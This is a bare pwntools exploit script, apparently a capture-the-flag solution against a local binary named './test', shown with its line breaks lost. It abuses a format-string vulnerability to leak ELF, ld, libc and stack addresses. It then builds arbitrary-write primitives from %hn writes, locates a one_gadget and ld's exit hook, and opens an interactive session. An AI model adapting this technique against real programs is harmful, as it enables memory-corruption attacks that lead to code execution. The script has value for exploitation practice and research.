1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| from pwn import * elf = ELF("./test") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") context(arch=elf.arch, os=elf.os) context.log_level = 'debug' p = process([elf.path]) p.sendafter("please input:\n", "%p%5$p%7$p%9$p") elf.address = int(p.recv(14), 16) - 0x2012 info("elf base: " + hex(elf.address)) ld_base = int(p.recv(14), 16) - 0x11d60 info("ld base: " + hex(ld_base)) libc.address = int(p.recv(14), 16) - 0x24083 info("libc base: " + hex(libc.address)) stack_addr = int(p.recv(14), 16) - 0xf8 info("stack addr: " + hex(stack_addr)) one_gadget = libc.address + [0xe3afe, 0xe3b01, 0xe3b04][2] exit_hook = ld_base + 0x2ef70 info("one_gadget: " + hex(one_gadget)) info("exit hook: " + hex(exit_hook)) def arbitrary_offset_write(offset, value): info("arbitrary_offset_write({}, {})".format(hex(offset), hex(value))) assert 0 <= (stack_addr & 0xFFFF) + offset < 0x10000 and value < 0x10000 if (stack_addr + offset) & 0xFFFF == 0: p.sendafter("please input:\n", "%24$hn") else: p.sendafter("please input:\n", "%{}c%24$hn".format((stack_addr + offset) & 0xFFFF)) if value == 0: p.sendafter("please input:\n", "%37$hn") else: p.sendafter("please input:\n", "%{}c%37$hn".format(value)) def arbitrary_address_write(address, value): assert address < 0x10000000000000000 and value < 0x10000 arbitrary_offset_write(0x50, address >> 0 * 16 & 0xFFFF) arbitrary_offset_write(0x52, address >> 1 * 16 & 0xFFFF) arbitrary_offset_write(0x54, address >> 2 * 16 & 0xFFFF) arbitrary_offset_write(0x56, address >> 3 * 16 & 0xFFFF) gdb.attach(p, "b *$rebase(0x123e)\nc") pause() if value == 0: p.sendafter("please input:\n", "%16$hn") else: p.sendafter("please input:\n", "%{}c%16$hn".format(value)) arbitrary_address_write(0xdeadbeef, 0x1234) p.interactive()
|